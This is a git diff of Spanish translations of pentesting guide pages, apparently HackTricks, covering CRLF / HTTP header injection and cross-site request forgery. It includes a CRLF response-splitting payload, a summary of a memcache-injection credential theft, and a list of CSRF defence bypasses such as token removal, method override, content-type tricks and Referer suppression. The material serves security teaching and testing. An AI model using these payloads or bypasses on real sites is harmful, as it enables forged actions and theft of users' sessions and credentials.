+Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la IP y el puerto al que un usuario debía conectarse, y los atacantes podían **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante: -Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar la IP y los puertos de los atacantes a usuarios cuyo correo electrónico no conocía el atacante: +
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-
+Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las direcciones IP y puertos de los atacantes a usuarios cuyos correos electrónicos el atacante no conocía: -
+
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
-**Para la información completa lea el**[ **artículo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +### Cómo Prevenir Inyecciones CRLF / de Encabezados HTTP en Aplicaciones Web -## Impactos de la Vulnerabilidad de Inyección CRLF +Para mitigar los riesgos de inyecciones CRLF (retorno de carro y salto de línea) o de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias: -El impacto de las inyecciones CRLF varía e incluye todos los impactos del Cross-site Scripting hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los Filtros XSS y la Política del Mismo Origen en los navegadores de las víctimas, dejándolos susceptibles a ataques maliciosos. +1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** +El enfoque más seguro es abstenerse de incorporar la entrada suministrada por el usuario directamente en los encabezados de respuesta. -### Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web +2. **Codificar Caracteres Especiales:** +Si no es factible evitar la entrada directa del usuario, asegúrate de emplear una función dedicada a codificar caracteres especiales como CR (retorno de carro) y LF (salto de línea). Esta práctica previene la posibilidad de inyección de CRLF. -La mejor técnica de prevención es no usar directamente la entrada de los usuarios dentro de los encabezados de respuesta. Si eso no es posible, siempre debe usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad en aplicaciones web es actualizar su lenguaje de programación a una versión que no permita que se inyecten CR y LF dentro de funciones que establecen encabezados HTTP. +3. **Actualizar el Lenguaje de Programación:** +Actualiza regularmente el lenguaje de programación utilizado en tus aplicaciones web a la última versión. Opta por una versión que inherentemente prohíba la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer los encabezados HTTP. -### CHEATSHEET + +### HOJA DE TRUCOS + +[Hoja de trucos desde aquí](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) @@ -217,18 +209,19 @@ La mejor técnica de prevención es no usar directamente la entrada de los usuar * [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) * [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) -## Lista de Detección por Fuerza Bruta +## Lista de Detección de Fuerza Bruta * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt) ## Referencias - +* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) +* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - + -Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_). +Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_). {% embed url="https://www.stmcyber.com/careers" %} @@ -238,10 +231,10 @@ Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - ** Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index 9e0d2f9fd..e3c3c7dbb 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,129 +2,133 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. +Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! **Perspectivas de Hacking**\ -Interactúa con contenido que profundiza en la emoción y los desafíos del hacking. +Involúcrate con contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ -Mantente al día con el mundo del hacking a través de noticias e insights en tiempo real. +Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ -Mantente informado sobre los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma. +Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas -**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo. +**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! -## ¿Qué es CSRF? +## Explicación de Cross-Site Request Forgery (CSRF) -**Cross-site request forgery** (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a los usuarios a realizar acciones que no tienen la intención de realizar**.\ -Esto se logra **haciendo que un usuario con sesión iniciada** en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí **ejecute** código JS malicioso, envíe formularios o recupere "imágenes" para la **cuenta de la víctima**. +**Cross-Site Request Forgery (CSRF)** es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos explotando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que está conectado a la plataforma de la víctima, visita un sitio malicioso. Este sitio luego desencadena solicitudes a la cuenta de la víctima a través de métodos como la ejecución de JavaScript, el envío de formularios o la obtención de imágenes. -### Requisitos +### Prerrequisitos para un Ataque CSRF +Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones: -Para poder abusar de una vulnerabilidad CSRF primero necesitas **encontrar una acción relevante para abusar** (cambiar contraseña o correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La **sesión debe depender únicamente de cookies o del encabezado de Autenticación Básica HTTP**, cualquier otro encabezado no puede ser utilizado para manejar la sesión. Finalmente, **no debería haber parámetros impredecibles** en la solicitud. +1. **Identificar una Acción Valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios. +2. **Gestión de Sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no se pueden manipular con este propósito. +3. **Ausencia de Parámetros Impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden evitar el ataque. -Varias **contramedidas** podrían estar en lugar para evitar esta vulnerabilidad. +### Defensa Contra CSRF +Se pueden implementar varias contramedidas para protegerse contra los ataques CSRF: -### **Defensas comunes** +* [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes entre sitios. [Más sobre las Cookies SameSite](hacking-with-cookies/#samesite). +* [**Compartición de Recursos entre Orígenes**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre cómo evadir CORS](cors-bypass.md). +* **Verificación de Usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario. +* **Comprobar Encabezados Referrer u Origin**: Validar estos encabezados puede ayudar a garantizar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir controles implementados de manera deficiente, como: +- Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL de confianza) +- Usar `http://example.com.mal.net` (la URL comienza con la URL de confianza) +* **Modificar Nombres de Parámetros**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados. +* **Tokens CSRF**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse al hacer cumplir CORS. -* [**Cookies SameSite**](hacking-with-cookies/#samesite): Si la cookie de sesión está utilizando esta bandera, es posible que no puedas enviar la cookie desde sitios web arbitrarios. -* [**Compartición de recursos de origen cruzado**](cors-bypass.md): Dependiendo de qué tipo de solicitud HTTP necesites realizar para abusar de la acción relevante, puedes tener en cuenta la **política CORS del sitio víctima**. _Nota que la política CORS no afectará si solo quieres enviar una solicitud GET o una solicitud POST desde un formulario y no necesitas leer la respuesta._ -* Pedir la **contraseña** del usuario para autorizar la acción. -* Resolver un **captcha** -* Leer los encabezados **Referrer** o **Origin**. Si se usa una regex podría ser evitada por ejemplo con: -* http://mal.net?orig=http://example.com (termina con la url) -* http://example.com.mal.net (comienza con la url) -* **Modificar** el **nombre** de los **parámetros** de la solicitud Post o Get -* Usar un **token CSRF** en cada sesión. Este token tiene que ser enviado dentro de la solicitud para confirmar la acción. Este token podría estar protegido con CORS. +Comprender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web. -### Mapa de CSRF - -![](<../.gitbook/assets/image (112).png>) - -## Evasión de Defensas +## Bypass de Defensas ### De POST a GET -Quizás el formulario que quieres abusar está preparado para enviar una **solicitud POST con un token CSRF pero**, deberías **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF sigue siendo validado**. +Tal vez el formulario que deseas aprovechar está preparado para enviar una **solicitud POST con un token CSRF pero**, debes **verificar** si un **GET** también es **válido** y si al enviar una solicitud GET el **token CSRF sigue siendo validado**. ### Falta de token -Algunas aplicaciones **validan correctamente el token cuando está presente pero omiten la validación si el token se omite**.\ -En esta situación, el atacante puede **eliminar todo el parámetro** que contiene el token (no solo su valor) para evadir la validación y llevar a cabo un ataque CSRF. +Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto al **eliminar el parámetro** que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva. ### El token CSRF no está vinculado a la sesión del usuario -Algunas aplicaciones **no validan que el token pertenezca a la misma sesión** que el usuario que está realizando la solicitud. En cambio, la aplicación **mantiene un grupo global de tokens** que ha emitido y acepta cualquier token que aparezca en este grupo.\ -En esta situación, el atacante puede iniciar sesión en la aplicación usando su propia cuenta, **obtener un token válido**, y luego **proporcionar ese token al usuario víctima** en su ataque CSRF. +Las aplicaciones que **no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad significativo**. Estos sistemas verifican los tokens contra un **grupo global** en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora. -### Evasión de método +Así es como los atacantes explotan esto: -Si la solicitud está utilizando un **método "extraño"**, verifica si la **funcionalidad de sobreescritura de método** está funcionando.\ +1. **Autenticarse** utilizando su propia cuenta. +2. **Obtener un token CSRF válido** del grupo global. +3. **Utilizar este token** en un ataque CSRF contra una víctima. + +Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de token insuficiente** de la aplicación. + +### Bypass de Método + +Si la solicitud está utilizando un **"método raro"**, verifica si la **funcionalidad de anulación de método** está funcionando. Por ejemplo, si está **utilizando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ -Esto también podría funcionar enviando el parámetro **\_method dentro de una solicitud POST** o utilizando los **encabezados**: +Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o utilizando los **encabezados**: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ -### Evasión de token de encabezado personalizado +### Bypass de Token de Encabezado Personalizado -Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces: +Si la solicitud agrega un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces: -* Prueba la solicitud sin el **Token Personalizado y también sin el encabezado.** -* Prueba la solicitud con un **token de la misma longitud pero diferente**. +* Prueba la solicitud sin el **Token Personalizado y también sin el encabezado**. +* Prueba la solicitud con la **misma longitud pero con un token diferente**. ### El token CSRF se verifica mediante una cookie -En una variación adicional de la vulnerabilidad anterior, algunas aplicaciones **duplican cada token dentro de una cookie y un parámetro de solicitud**. O **establecen una cookie csrf** y **verifican en el backend si el token csrf enviado es el relacionado con la cookie**. +Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o configurando una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud coincide con el valor de la cookie. -Cuando se valida la solicitud subsiguiente, la aplicación simplemente verifica que el **token** enviado en el **parámetro de solicitud coincida** con el valor almacenado por la **cookie**.\ -En esta situación, el atacante puede nuevamente realizar un ataque CSRF **si el sitio web contiene alguna vulnerabilidad que le permita establecer su cookie CSRF en la víctima como un CRLF**. +Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguido por iniciar el ataque CSRF. -En este caso, puedes establecer la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo: +A continuación se muestra un ejemplo de cómo podría estructurarse un ataque: ```html - + -
+
- + + ``` {% hint style="info" %} -Tenga en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitará establecer en la víctima su sesión, y por lo tanto, se estará atacando a sí mismo. +Ten en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo. {% endhint %} ### Cambio de Content-Type -Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitudes de preflight** utilizando el método **POST**, estos son los valores de Content-Type permitidos: +Según [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar las solicitudes previas** utilizando el método **POST**, estos son los valores de Content-Type permitidos: * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** -Sin embargo, tenga en cuenta que la **lógica de los servidores puede variar** dependiendo del **Content-Type** utilizado, por lo que debería probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ +Sin embargo, ten en cuenta que la **lógica de los servidores puede variar** dependiendo del **Content-Type** utilizado, por lo que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Ejemplo (de [aquí](https://brycec.me/posts/corctf\_2021\_challenges)) de envío de datos JSON como text/plain: ```html @@ -139,31 +143,33 @@ form.submit(); ``` -### bypass de solicitud de preflight application/json +### Saltando las Solicitudes de Preflight para Datos JSON -Como ya sabes, no puedes enviar una solicitud POST con el Content-Type **`application/json`** a través de un formulario HTML, y si intentas hacerlo a través de **`XMLHttpRequest`**, primero se envía una solicitud de **preflight**.\ -Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido \*\*`text/plain` y `application/x-www-form-urlencoded` \*\* solo para verificar si el backend está utilizando los datos independientemente del Content-Type.\ -Puedes enviar un formulario utilizando `Content-Type: text/plain` configurando **`enctype="text/plain"`** +Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud de preflight. Sin embargo, existen estrategias para potencialmente saltar esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type: -Si el servidor solo acepta el tipo de contenido "application/json", puedes **enviar el tipo de contenido "text/plain; application/json"** sin activar una solicitud de preflight. +1. **Utilizar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type. -También podrías intentar **bypass** esta restricción utilizando un **archivo SWF flash**. Para más información [**lee este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +2. **Modificar el Tipo de Contenido**: Para evitar una solicitud de preflight asegurando que el servidor reconozca el contenido como JSON, puedes enviar los datos con `Content-Type: text/plain; application/json`. Esto no desencadena una solicitud de preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`. -### bypass de verificación de Referrer / Origin +3. **Utilización de Archivo Flash SWF**: Un método menos común pero factible implica usar un archivo flash SWF para evadir tales restricciones. Para comprender a fondo esta técnica, consulta [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -**Evitar el encabezado Referrer** +### Saltar la Verificación de Referente/Origen -Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero **omitirán la validación si el encabezado se omite**. -```markup +**Evitar la cabecera Referer** + +Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente. Para evitar que un navegador envíe esta cabecera, se puede utilizar la siguiente etiqueta meta HTML: +```xml ``` -**Omisiones de Regexp** +Esto asegura que se omita el encabezado 'Referer', potencialmente evitando las comprobaciones de validación en algunas aplicaciones. + +**Bypass de expresiones regulares** {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros puedes hacer: +Para establecer el nombre de dominio del servidor en la URL que el Referer va a enviar dentro de los parámetros, puedes hacer lo siguiente: ```html @@ -184,28 +190,45 @@ document.forms[0].submit(); ``` ### **Bypass del método HEAD** -La primera parte de [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que en el [código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta - una solución común que no es única de Oak. En lugar de un manejador específico que se ocupe de las solicitudes HEAD, simplemente se **entregan al manejador GET pero la aplicación elimina el cuerpo de la respuesta**. +La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que en el [código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, una solución común que no es exclusiva de Oak. En lugar de un manejador específico que se ocupe de las solicitudes HEAD, simplemente **se envían al manejador GET pero la aplicación elimina el cuerpo de respuesta**. -Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**. +Por lo tanto, si una solicitud GET está siendo limitada, simplemente podrías **enviar una solicitud HEAD que será procesada como una solicitud GET**. -## **Ejemplos de Explotación** +## **Ejemplos de explotación** -### **Exfiltración de Token CSRF** +### **Exfiltración de token CSRF** -Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection/). +Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection/). ### **GET utilizando etiquetas HTML** -```markup +```xml

404 - Page not found

The URL you are requesting is no longer available ``` -Las otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son: - -![](<../.gitbook/assets/image (530).png>) - +Otras etiquetas HTML5 que se pueden usar para enviar automáticamente una solicitud GET son: +```html + + + + +